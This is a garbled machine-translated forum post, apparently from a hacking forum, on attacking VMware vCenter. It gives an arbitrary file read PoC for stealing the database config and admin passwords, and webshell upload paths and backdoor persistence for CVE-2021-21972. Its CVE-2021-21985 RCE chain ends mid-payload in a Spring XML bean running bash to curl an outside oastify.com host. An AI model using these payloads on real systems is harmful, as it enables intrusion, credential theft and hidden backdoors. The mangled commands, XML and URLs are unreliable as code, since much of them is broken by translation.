KoreanHackerTeam
Moderator
vCenter 漏洞利用
1 vSphere 背景介绍
vsphere, esxi 및 vcenter 분석 :VMware Inc
** VMware Inc **는 소프트웨어 회사입니다. 그것은 많은 제품, 특히 다양한 클라우드 솔루션을 개발했습니다. 클라우드 솔루션에는 클라우드 제품, 데이터 센터 제품 및 데스크탑 제품이 포함됩니다.
vsphere
vSphere은 Data Center 제품의 소프트웨어 세트입니다. vsphere는 Word, Excel, Access 등과 같은 많은 소프트웨어를 포함하는 Microsoft의 사무실 사무실 제품군과 유사합니다. 여기에는 vCenter Server, ESXI 및 vSphere Client가 포함되어 있으며 전체 가상화 배포 솔루션의 합입니다.
ESXI
ESXi은 vsphere에서 가장 중요한 구성 요소입니다. ESXI는 가상화 서비스입니다. 모든 가상 머신은 ESXI 서비스에서 실행됩니다.
vsphere 클라이언트
vSphere (web) client은 Cluster Failover 등 다양한 고급 기능을 포함하여 여러 다른 ESXI 호스트를 직접 관리 할 수있는 관리 플랫폼입니다. ESXI와 함께 제공되는 관리 플랫폼은 ESXI 호스트 만 관리 할 수 있습니다. vSphere 클라이언트는 더 자세한 성능 모니터링을 가지고 있으며 배치 업데이트는 모든 ESXI 시스템 버전을 취소합니다. 가상 머신 리소스 사용은 리소스 풀을 통해 계획 할 수도 있습니다.
vCenter 서버
ESXI 6.0 이전에 ESXI 클러스터는 C/S 아키텍처를 통해 관리되었습니다. 웹 엔드가 없었고 설치 환경은 비교적 엄격했습니다. 설치하려면 서버의 서버 버전이어야합니다. 버전 6.0 이후, 공무원은 C/S 아키텍처 클라이언트를 취소하고 대신 vsphere 웹 클라이언트라고도하는 웹 관리 플랫폼을 채택했습니다. vsphere 웹 클라이언트를 배포하는 서버를vCenter Server이라고합니다.
공식 권장 사항은 VMware의 자체 광자 시스템에 따라 포장 된 클라이언트 및 서버 응용 프로그램을 배포하는 것입니다. 설치 패키지의 이름은 VMware vCenter Server Appliance로 명명되었으며 :VCSA으로 축약합니다.

2 常见漏洞
2.1 版本信息探测
VMware Sphere Component의 SOAP API를 호출하여 버전 정보를 얻을 수 있습니다. XML 데이터는 다음과 같습니다.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
? xml 버전='1.0'인코딩='UTF-8'?
SOAP:Evelope
XMLNS:SOAP='http://schemas.xmlsoap.org/SOAP/ENVELOPE/'
xmlns:xsd='http://www.w3.org/2001/xmlschema'
xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'
SOAP:header
OperatId 00000001-00000001/OperationId
/SOAP: 헤더
SOAP:Body
검색 컨텐츠를 검색합니다
xmlns='urn:internalvim25'
_this xsi:type='managedobjectreference'type='ServiceInstance'ServiceInstance/_this
/검색 viceContent
/SOAP:Body
/SOAP:Evelope

핵 관련 템플릿 :
/nuclei-templates/technologies/vmware/vmware-detect.yaml

2.2 任意文件读取
영향을받는 버전 : vmware vcenter server=6.5.0fofa dork : title='id_vc_welcome'
vmware vcenter에는 임의의 파일 읽기 취약점이 있으며 vCenter 구성 파일을 읽어 관리 계정 비밀번호를 얻은 다음 vCenter 플랫폼 및 관리 가상 머신 클러스터를 제어 할 수 있습니다.
EAM 사용자는 취약한 서비스 (비 도메인 사용자)를 실행하므로 NTLM 릴레이와 같은 릴레이 공격의 위험이 없습니다.
다른 시스템 버전으로 인해 데이터베이스 구성 파일 (VCDB.Properties)은 다른 위치에 저장됩니다. 공식 문서에 따르면 대략 다음과 같이 나눌 수 있습니다.
vCenter 서버 5.5 이상 :
Windows 2008 -C: \ ProgramData \ VMware \ VMware VirtualCenter
기타 Windows 버전 -C: \ 문서 및 설정 \ 모든 사용자 \ Application Data \ VMware \ VMware VirtualCenter \
vCenter Server 6.0, 6.5, 6.7의 경우 :
C: \ ProgramData \ vmware \ vcenterserver \ cfg \ vmware-vpx
POC :
1
2
get /eam/vib?id={{path}} \ vcdb.properties http/1.1
host: {{hostname}}
핵의 해당 POC :
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi.yaml
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi-linux.yaml
2.3 CVE-2021-21972
2.3.1 漏洞利用
기본적으로 활성화 된 VROPS 플러그인 (com.vmware.vropspluginui.mvc) Services Controller 클래스는 승인되지 않은 액세스 권한이 있습니다. Path Traversal을 사용하여 파일을 특정 디렉토리로 분해하여 GetShell을 구현할 수 있습니다.영향 버전 :
7.0=vCenter 서버 7.0 U1C
6.7=vCenter 서버 6.7 U3L
6.5 1e=vCenter 서버 6.5 U3N
4.x=Cloud Foundation (vCenter Server) 4.2
3.x=클라우드 파운데이션 (vcenter server) 3.10.1.2
POC :
/nuclei-templates/cves/2021/cve-2021-21972.yaml
exp :

VMware vCenter Server 7.0 - Unauthenticated File Upload
VMware vCenter Server 7.0 - Unauthenticated File Upload. CVE-2021-21972 . webapps exploit for Multiple platform
2.3.2 漏洞分析
취약한 JAR 패키지 포지셔닝 : /etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsppgin-service.jar
참고 463, /tmp /unicorn_ova_dir로 tar 파일 이름을 직접 연결하고 파일에 씁니다. 파일 이름이 ./에 존재하는 경우 vSphere-UI 사용자에게 권한이있는 디렉토리로 파일을 추출 할 수 있습니다. 사용자로 전환하고 쓰기 가능한 디렉토리를 찾으십시오.
1
2
Su vsphere-ui
/-writable -type d |를 찾으십시오 grep -v '허가 거부'
그중에서도 .ssh 디렉토리를 작성할 수 있으므로 가장 일반적인 아이디어는 공개 키를 작성하고 사용자를 사용하여 로그인하는 것입니다. 그러나이 방법에는 특정 제한 사항이 있습니다. 먼저 그림자 파일을 살펴 보겠습니다.

비밀번호가 90 일 동안 만료되는 것을 보았으므로 90 일의 설치 후 공개 키를 작성하더라도 비밀번호가 만료되도록 프롬프트합니다. 원래 비밀번호를 제공하고 비밀번호를 수정해야합니다. 또한 vSphere-UI 사용자의 두 번째 항목은!이므로 사용자가 비밀번호를 설정하지 않았으므로 비밀번호를 수정할 수 없습니다. 따라서 키가 만료되면 다시 로그인 할 수 없습니다.
또 다른 아이디어는 WebShell에 글을 쓰는 것입니다. 먼저 JSP가있는 web.xml을 찾아서 찾아야하며 디렉토리를 작성할 수 있습니다.
1
grep 'servlet-namejsp/servlet-name'$ (찾기/-name '*web.xml')
마지막으로 Linux 하의 다음 스토리지 위치를 결정했습니다.
1
2
3
4
5
6
7
8
# vcenter 6.5/6.7 13010631
/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%D/0/h5ngc.war/resources/thefile
# vcenter 6.7=13010631
/usr/lib/vmware-vsphere-ui/server/static/resources/libs/thefile
# vCenter 7.0, 리소스 15863815가 동적으로 생성되고 /ui에 액세스하여 디렉토리 정보를 얻을 수 있습니다.
/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/thefile
청취 포트는 /usr/lib/vmware-vsphere-ui/server/configuration/tomcat-server.xml에서 5090 인 것으로 밝혀졌으며 웹 액세스 경로는 rhttpproxy 리버스 프록시에 의해 발견됩니다.

마지막으로 /usr/lib/vmware-vsphere-ui/server/work/work/deployer/s/global/xx/0/h5ngc.war/resources/directory 또는 그 하위 디렉토리에 웹 쉘을 릴리스하고 https://ip/ui/webshell.jsp에 의해 파싱 및 액세스 할 수 있습니다.
이 경로의 XX는 고정 값이 아니며 재설치 및 재시작 동작으로 변경됩니다. 따라서 패키지를 업로드 할 때는 배치에 폭력적으로 패키지를 추가하고 업로드가 성공했는지 여부를 감지 할 수 있습니다.
또한 6.7U2 및 이후 버전은 작업 디렉토리가 존재하는 경우 서비스가 시작될 때 결정됩니다. 즉, 웹이 메모리에서 실행되고 있음을 의미합니다. 이 시점에서 6.7U2 이상 버전 6.7의 경우 WebShell은/usr/lib/vmware-vsphere-ui/static/static/resource/libs/directory를 백도어로 릴리스 할 수 있으며 다시 시작한 후로드 및 실행됩니다. 정적 버전 7.0 이후의 리소스의 경우, 정적 이후의 리소스에 이어 일련의 동적 디지털 경로가 이어지며 요청 된 반환 패키지에서 얻을 수 있습니다.
Windows 버전의 경우 대상 서버에 JSP 웹 쉘 파일을 작성할 수 있습니다. 서비스는 시스템 권한이므로 모든 파일을 작성할 수 있습니다. 일반적으로 사용되는 디렉토리는 다음과 같습니다.
다른 공통 경로는 다음을 참조하는 데 사용될 수 있습니다. vcenter2021 취약성 및 침투 후
2.4 CVE-2021-21985
2.4.1 漏洞利用
기본적으로 활성화 된 가상 SAN Health Check Plug-In (VSAN-H5-Client.zip)/REST/* 인터페이스에는 무단 액세스가 있으며 RCE는 안전하지 않은 반사 호출을 사용하여 구현할 수 있습니다.영향 버전 :
7.0=vCenter 서버 7.0 U2B
6.7=vCenter 서버 6.7 U3N
6.5=vCenter 서버 6.5 U3P
4.x=Cloud Foundation (vCenter Server) 4.2.1
3.x=Cloud Foundation (vCenter Server) 3.10.2.1
POC :
/nuclei-templates/cves/2021/cve-2021-21985.yaml
exp :
2.4.2 漏洞分析
出网利用
먼저 VSAN-H5-Client 플러그인 스토리지 위치 :/-name '*vsan*'| grep 'h5', 마지막으로 /usr/lib/vmware-vpx/vsan-health/ui-plugins/vsan-h5-client.zip 디렉토리에서 확인하십시오.항아리 패키지를 다운로드, 압축 압축 및 디 컴파일하는 것. 취약성 정보는 무단 액세스로 설명되므로 먼저 H5-VSAN-Context.jar의 Web.xml에서 관련 단서를 찾으십시오. 고정 버전에서 해당 필터가 추가되었습니다.

com.vmware.vsan.client.services.authenticationFilter를 H5-VSAN-Service.jar에서 찾아서 인증되지 않은 경우 직접 401을 찾으십시오.

또 다른 변경 사항은 H5-VSAN-Service.jar에서 ProxygenController 클래스의 호출 서비스 메소드에 있습니다.

반사 통화 방법에 tsservice 주석이 있는지 여부를 감지하기 위해 검증이 추가되었으며 화이트리스트 메커니즘이 활성화됩니다. 따라서 기본적으로 취약점 이이 클래스에 위치한다고 판단 할 수 있습니다.
TSService 주석 소스 코드 :

@requestmapping 경로를 정의하는 컨트롤러를 찾아 보면 요청 경로에서 Bean 이름 또는 클래스 이름 및 메소드 이름을 가져온 다음 게시물 데이터에서 메소드 데이터에서 메소드 검색 목록을 메소드 매개 변수로 가져온 다음 invokeservice 메서드를 입력 할 수 있습니다.


invokeserver는 먼저 bean 인스턴스를 얻은 다음 인스턴스의 메소드 목록을 얻고 메소드 이름과 메소드 매개 변수 길이를 비교 한 다음 사용자가 전달한 매개 변수를 단순히 요구 한 다음 사용을 호출합니다.
따라서 다음 단계는 스프링 공장에서 생성 된 콩에 활용 체인을 구축하는 위험한 방법을 찾는 것입니다. VSAN-H5-CLIENT/PLUGINS/H5-VSAN-SERVICE/META-INF/SPRING/BASE/*. XML 구성 파일에서 Bean 정의를 찾으십시오. 모든 스코프는 기본 싱글 톤이며 Lazy-init는 구성되지 않으므로 스프링 프로젝트가 시작될 때이 콩은 싱글 톤으로로드됩니다.
취약성 저자가 사용하는 Bean은 VModlContext이며 해당 JAR은 /etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.x.xx000/plugins/vropsplugin-service.jar, 및 클래스 IS IS가 있습니다. com.vmware.vim.vmomi.core.types.impl.vmodcontextimpl. LoadVModlPackage 메소드 코드는 다음과 같습니다.

ContextPath는 NonvalidatingClassPathXmlApplicationContext를 통해로드되며 클래스는 다음과 같습니다. ClassPathXmlApplicationContext :

따라서 XML에서 원격 로딩 및 Spel 표현식을 구조화 한 다음 명령을 실행할 수 있습니다.
SpringContextLoader의 getContextFilenameforPackage가 교체됩니다. /가있는 경로에서는 일반 IPv4 주소를 지정할 수 없지만 숫자 IP를 사용하여 우회 할 수 있습니다.

XML 파일 컨텐츠 및 공격 효과는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
? xml 버전='1.0'인코딩='UTF-8'?
Beans xmlns='http://ww.springframework.org/schema/beans'
xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'
xmlns:context='http://www.springframework.org/schema/context'
xsi:schemalocation='http://www.springframework.org/schema/beans http://wwwwww.springframework.org/schema/beans/spring-beans.xsd http://wwww.springframework.org/schema/spride-bean.xsd http://www.springframework.org/schema/context/spring-context.xsd '
bean id='pb'class='java.lang.processbuilder'
생성자-아그
목록
값/빈/배쉬/값
가치 C/값
ValueCurl http://dj0esgxds3fv9m4a0a6dzorr0i69uy.oastify.com/value
/목록
/생성자-arg
재산